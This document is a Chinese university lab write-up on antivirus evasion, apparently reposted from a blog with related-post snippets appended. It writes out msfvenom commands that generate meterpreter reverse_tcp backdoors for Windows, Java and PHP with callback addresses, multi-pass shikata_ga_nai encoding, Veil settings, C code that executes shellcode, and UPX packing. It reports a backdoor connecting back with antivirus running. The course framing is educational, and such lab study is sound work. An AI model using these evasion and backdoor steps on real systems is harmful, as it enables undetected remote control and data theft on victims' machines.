2018-2019-2 网络对抗技术 20165228 Exp3 免杀原理与实践

2018-2019-2 网络对抗技术 20165228 Exp3 免杀原理与实践

免杀
   一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
   反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。

1、杀软是如何检测出恶意代码的?

  • 基于特征码:杀软会将恶意代码中有明显特征的一部分作为特征码,并建立起特征库,在检测时则比对特征码是否匹配。
  • 基于行为:杀软会监控运行的程序,像进行修改系统注册表、启动项等可疑操作的的程序就可能是恶意代码。
    2、免杀是做什么?
  • 让后门程序不被杀软检测出来
    3、免杀的基本方法有哪些?
  • msfvenom直接生成、msfvenom多次编码、Veil-evasion、C+shellcode、UPX压缩壳、Hyperion
    4、离实战还缺些什么技术或步骤?
  • 缺少将后门植入的操作:比如把后门安插到正常的软件包中,或者利用目标机已有的软件漏洞实现后门植入。

    实验内容

    任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;

    1、使用msf编码器

  • 通过上个实验中学到的命令生成后门程序
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168. 43.171 LPORT=5228 -f exe > met.exe

  • 将生成的程序上传到virus total试试结果
  • 使用msf编码器对后门程序编码10次
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.43.171 LPORT=5228 -f exe > met-encoded10.exe
  • 再上传到virus total试试免杀操作是否有效

2、使用msfvenom生成jar

  • 使用Java后门程序生成命令
    msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.43.171 lport=5228 x> 20165228_backdoor_java.jar

    3、使用msfvenom生成php
  • 使用php后门程序生成命令
    msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.217.128 lport=443 x> 20165228_backdoor.php

4、使用veil-evasion
我的kali版本比较新,好像说比较新的版本没有自带的veil....
于是,先>!%^_&&%,再^*&^(^%%+##,最后@$#%^%&^&&&,我的veil终于能用了。
。 。 。 。 。此处省略一天一夜

  • 设置veil
use evasion
use 7
set LHOST 192.168.43.171
set LPORT 5228

  • 然后输入后门程序的文件名就可以啦
  • 于是把它挂上virus total看看表现如何

5、利用shellcode编程

  • 先执行shellcode生成命令
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.171 LPORT=5228 -f c
  • 得到shellcode

    任务二:Linux平台交叉编译Windows应用

    1、使用交叉编译

  • 新建.c文件,将shellcode和c代码组合到一起
vim 5228met.c
unsigned char buf[] =
将shellcode替换到此处
int main()
{
    int (*func)() = (int(*)())buf;
    func();
}
  • 执行i686-w64-mingw32-g++ met.c -o met.exe生成可执行的后门程序

  • 然后把它挂上virus total测一下

2、使用`c+shellcode+加壳

  • 原理:将shellcode替换到以上代码的数组后给编译生成的EXE文件加壳中达到免杀效果
  • 制作用C调用shellcode的代码

    include "stdafx.h"

    include <windows.h>

    include <winbase.h>

    include <stdio.h>

    include <stdlib.h>

    include <string.h>

//192.168.6.129 443 reverse_tcp
const char met[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"此处省去若干行"
"\x53\xff\xd5";

int main()
{
DWORD old = 0;
BOOL ret = VirtualProtect((LPVOID)met, strlen(met), PAGE_EXECUTE_READWRITE, &old);
INT32 * addr;
addr =(INT32*) &met;

__asm;
{
    call addr;
}
return 0;

}
- 加压缩壳upx cal.exe -o cal_upxed.exe```

  • 使用杀软扫描,未报警,达到免杀效果(其实不加壳我的杀软也不报警...)

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • kali进入msf控制台配置 ip和端口
  • 开始监听
  • 受控机运行后门程序,成功获得shell,且杀软未报警

    问题

  • 在安装veil时遇到了很多不明的问题... 执行veil-evasion安装veil时经常会卡进度TAT
    解决:参考相关博客,最后进入/opt/Veil-Evasion运行,/Veil-Evasion.py就成功啦
  • 在交叉编译时出现以下错误:

    解决 :我的kali里没有自带的minw64编译器,所以需要sudo apt-get install mingw-w64来安装。

实验感想

  • 此次实验让我对免杀技术有了新的认识,比如通过不同的编程语言重写、多次编码等,都是十分新鲜的东西。不过也让我认识到安装杀软有时候可能并没有什么用,它只能按照已有的特征码或者比较有效的启发式鉴别木马和后门程序,虽然病毒库随时都在更新,但像实验中刚做出来的后门程序肯定不在病毒库之列,于是它就可以为所欲为。所以,为了系统安全和信息不泄露,就要谨慎冲浪,即使是软件官网的安装包,也要验证md5值后再下载安装,从根源上避免问题。

原文地址:https://www.cnblogs.com/cloud795/p/10611622.html

时间: 2024-11-01 09:21:12

2018-2019-2 网络对抗技术 20165228 Exp3 免杀原理与实践的相关文章

2017-2018-4 20155317《网络对抗技术》EXP3 免杀原理与实践

2017-2018-4 20155317<网络对抗技术>EXP3 免杀原理与实践 一.问题回答 (1)杀软是如何检测出恶意代码的? (2)免杀是做什么? (3)免杀的基本方法有哪些? 2.实践 (1) 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧 首先尝试一下自己上个实验做出的后门程序 果然是不堪一击...拿去检测一下 装上veil尝试一下结果会如何 : 温馨提示一下,刚开始我是用的自己装的64的ka

2018-2019-2 网络对抗技术 201652287 Exp3 免杀原理与实践

2018-2019-2 网络对抗技术 201652287 Exp3 免杀原理与实践 **免杀** - 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. - 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的.AV(Anti-virus)是很大一个产业.其中主要的技术人员基本有编制恶意软件的经验. - 反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础. 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,vei

20165101刘天野 2018-2019-2《网络对抗技术》Exp3 免杀原理与实践

20165101刘天野 2018-2019-2<网络对抗技术>Exp3 免杀原理与实践 1. 实践内容 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧 1.1.1 使用msf编码器 输入命令msfvenom -h可查看相关用法: 编码一次命令如下(用-e参数编码 用-b参数去除坏字符'\00'): msfvenom -p windows/meterpreter/reverse_tcp -e x8

2019-2020-2 20175215丁文韬《网络对抗技术》Exp3 免杀原理与实践

一.恶意代码检测机制和免杀原理 由于老师实验指导书中有提到了,这部分内容不加赘述,只是提及一下. 1.恶意代码检测机制 1.1 基于特征码的检测 简单来说一段特征码就是一段或多段数据.如果一个可执行文件(或其他运行的库.脚本等)包含这样的数据则被认为是恶意代码. 1.2 启发式恶意软件检测 "When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird

2019-2020-2 网络对抗技术 20175209 Exp3 免杀原理与实践

2019-2020-2 网络对抗技术 20175209 Exp3 免杀原理与实践 一.实验任务 方法 正确使用msf编码器 msfvenom生成如jar之类的其他文件 veil 加壳工具 使用C + shellcode编程 使用其他课堂未介绍方法 通过组合应用各种技术实现恶意代码免杀 (如果成功实现了免杀的,简单语言描述原理,不要截图.与杀软共生的结果验证要截图.) 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本 二.基础问题回答 杀软是如何检测出恶意代码的 基于

2019-2020-2 20175226王鹏雲《网络对抗技术》Exp3 免杀原理与实践

2019-2020-2 20175226王鹏雲<网络对抗技术>Exp3 免杀原理与实践 实验内容 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具.使用C + shellcode编程或使用其他课堂未介绍方法自己利用shellcode编程等免杀工具或技巧 2.通过组合应用各种技术实现恶意代码免杀 (如果成功实现了免杀的,简单语言描述原理,不要截图.与杀软共生的结果验证要截图.) 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明

2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践

2019-2020-2 20175334罗昕锐<网络对抗技术>Exp3 免杀原理与实践 1 实践说明 1.1实践内容 (1)正确使用msf编码器 (2)veil (3)加壳工具 (4)使用C + shellcode编程 (5)使用其他课堂未介绍方法 -(6)通过组合应用各种技术实现恶意代码免杀并用另一电脑实测,在杀软开启的情况下,可运行并回连成功 1.2基础知识 1.2.1免杀 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术 要做好免杀,就时清楚杀毒软件(恶意软

2019-2020-2 20175218陈敬勇 《网络对抗技术》 Exp3 免杀原理与实践

2019-2020-2 20175218陈敬勇 <网络对抗技术> Exp3 免杀原理与实践 一.实验任务 方法 正确使用msf编码器 msfvenom生成如jar之类的其他文件 veil 加壳工具 使用C + shellcode编程 使用其他课堂未介绍方法 通过组合应用各种技术实现恶意代码免杀 如果成功实现了免杀的,简单语言描述原理,不要截图.与杀软共生的结果验证要截图 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本 二.实验准备 基础知识 Msfvenom使用

2019-2020-2 20175327《网络对抗技术》Exp3 免杀原理与实践

目录 一.学习目标 二.基础知识 1.1 恶意软件检测机制 1.1.1 基于特征码的检测 1.1.2 启发式恶意软件检测 1.1.3 基于行为的恶意软件检测 三.实验步骤 1.使用msf编码器msfvenom生成后门程序 (1)正确使用msf编码器 (2)msfvenom生成如jar之类的其他文件 (2)mfsvenom生成php文件 (3)veil (4)用shellcode编程生成后门程序 (5)加壳 加密壳(Hyperion) (6)使用其他课堂未介绍方法 2.通过组合应用各种技术实现恶意